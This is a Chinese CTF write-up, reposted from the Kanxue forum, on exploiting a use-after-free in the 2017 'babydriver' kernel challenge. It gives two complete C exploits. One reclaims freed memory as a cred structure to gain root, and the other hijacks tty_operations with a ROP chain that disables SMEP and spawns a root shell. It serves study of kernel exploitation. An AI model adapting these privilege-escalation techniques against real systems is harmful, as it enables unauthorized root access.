Linux Kernel Pwn 学习笔记 (UAF)

本文为看雪论坛优秀文章

看雪论坛作者ID：Vinadiak

0x01 背景知识

UAF漏洞：UAF 漏洞是当我们 free 掉某个指针变量所指向的堆块的时候，未将该指针变量置0，导致该指针依然指着该堆块地址，当我们引用该指针的话，也就引用该指针所所指向的地址。这个漏洞对于开发者很容易忽略，但威力非常强大。

条件竞争：在多线程的环境下，当多个线程同时访问某一个共享代码、变量或文件的时候，就有可能发生条件竞争的漏洞，利用该漏洞可以产生意想不到的效果，不过有时候需要碰撞该漏洞才行，有一定失败几率。（在linux kernel pwn里面一般开了多线程就很有可能是利用条件竞争）。

cred：当我们fork一个新的进程的时候会产生cred结构体，在task_struct中大小为0xa8，注意当cred的uid,gid为0的话，我们就提权成功。

ptmx：当我们open("/dev/ptmx")的时候，会分配一个tty_operation的结构体,覆盖该结构体可以将控制流劫持到我们的代码中。

cr4：控制寄存器,功能之一开启关闭smep和smap保护，只要将cr4寄存器对应SMAP、SMEP保护位置为0即可关闭对应保护，常用mov,cr4,0x6f0。

0x02 2017国赛 babydriver

保护分析

只开启了 nx 保护：

只开启smep，不能ret2usr。

逻辑分析

ioctl：kfree 掉device_buf,kmalloc用户指定大小的堆块。

babywrite：从用户的buf里面写入到device_buf,大小要小于堆块的大小。

babyread ：将device_buf读入到用户指定的buf。

babyrelease：kfree 掉指定的 device_buf,但没有置0，UAF 漏洞。

0x03 编写EXP

EXP思路1：

1.fd1,fd2打开device；

2.fd1用ioctl 让 device 去 malloc 0xa8大小的堆块后free掉；

3.fork一个新的进程；

4.用fd2将device_buf全都置0；

5.执行system('/bin/sh')。

这里很多人可能看不明白3-5，详细讲下：Linux kernel使用slab分配器来分配堆块，就像fastbin的后进先出一样，当我们fork一个新的进程后，会malloc一个0xa8大小的cred的结构体，此时slab会找到device_buf对应的堆块地址并分配给cred，只要我们用uaf将这个cred对应的uid，gid设置为0，则该进程对应的权限即为root权限，然后执行system("/bin/sh")就会得到shell了。

exp代码如下：

#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>
int main(){
    int fd1,fd2,id;
    char cred[0xa8] = {0};
    fd1 = open("dev/babydev",O_RDWR);
    fd2 = open("dev/babydev",O_RDWR);
    ioctl(fd1,0x10001,0xa8);
    close(fd1);
    id = fork();
    if(id == 0){
        write(fd2,cred,28);
        if(getuid() == 0){
            printf("[*]welcome root:\n");
            system("/bin/sh");
            return 0;
        }
    }
    else if(id < 0){
        printf("[*]fork fail\n");
    }
    else{
        wait(NULL);
    }
    close(fd2);
    return 0;
}

一些编写exp的技巧我已写在上一篇文章中。

*点击文字即可跳转文章

EXP思路2：

关闭cr4，然后ret2usr

1.fd1,fd2打开device；

2.fd1用ioctl 让 device 去 malloc 0x2e0大小的堆块后free掉；

3.fd3打开ptmx创建tty_struct到device_buf的地址；

4.fd2读取tty_struct到用户的buf中；

5.利用uaf，让fd2的重写tty_struct，将里面的tty_operation劫持到我们伪造的fake_tty_operation，fake_tty_operation放入rop，使用write的时候即可调用rop；

6.fd3执行write，调用tty_operation[3]，这里放入mov,rsp,rax执行栈劫持，rax是我们fake_tty_opeartion的结构体,就可以实现rop了。

exp代码如下：

//poc.c
//gcc poc.c -o poc -w -static
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr = 0xffffffff810a1420;
size_t prepare_kernel_cred_addr = 0xffffffff810a1810;
void* fake_tty_opera[30];
 
void shell(){
    system("/bin/sh");
}
 
void save_stats(){
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
}
 
void get_root(){
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}
 
int main(){
    int fd1,fd2,fd3,i=0;
    size_t fake_tty_struct[4] = {0};
    size_t rop[20]={0};
    save_stats();
 
    rop[i++] = 0xffffffff810d238d;      //pop_rdi_ret
    rop[i++] = 0x6f0;
    rop[i++] = 0xffffffff81004d80;      //mov_cr4_rdi_pop_rbp_ret
    rop[i++] = 0x6161616161;
    rop[i++] = (size_t)get_root;
    rop[i++] = 0xffffffff81063694;      //swapgs_pop_rbp_ret
    rop[i++] = 0x6161616161;
    rop[i++] = 0xffffffff814e35ef;      // iretq; ret;
    rop[i++] = (size_t)shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
 
    for(i = 0; i < 30; i++)
    {
        fake_tty_opera[i] = 0xffffffff8181bfc5; //pop rax,pop rbp,ret
    }
    ////pop rax; pop rbp; ret;
    fake_tty_opera[0] = 0xffffffff810635f5;    
    fake_tty_opera[1] = (size_t)rop;
 
    //当调用write时，就会指向3，此时mov rsp,rax ; dec ebx ; ret
    //执行完后，rsp=fake_tty_opera[0],就会执行从我们构造的栈，执行了。
    fake_tty_opera[3] = 0xffffffff8181bfC5;   
    fake_tty_opera[7] = 0xffffffff8181bfc5;
 
    fd1 = open("/dev/babydev",O_RDWR);
    fd2 = open("/dev/babydev",O_RDWR);
    ioctl(fd1,0x10001,0x2e0);
    close(fd1);
    fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    read(fd2, fake_tty_struct, 32);
    fake_tty_struct[3] = (size_t)fake_tty_opera;
    write(fd2,fake_tty_struct, 32);
    write(fd3,"cc-sir",6);                      //触发rop
    return 0;
}

0x04 总结

Linux Kernel Pwn不只是commit_creds(prepare_kernel_cred(0))这一条路，条条道路通罗马，要想对Linux Kernel完全渗透利用，必须要对Linux操作系统和内核源码理想透彻。

题目下载地址：

https://github.com/Vinadiak/LinuxKernelPwn/tree/master/2017%20babydriver

- End -

看雪ID：Vinadiak

https://bbs.pediy.com/user-home-855782.htm

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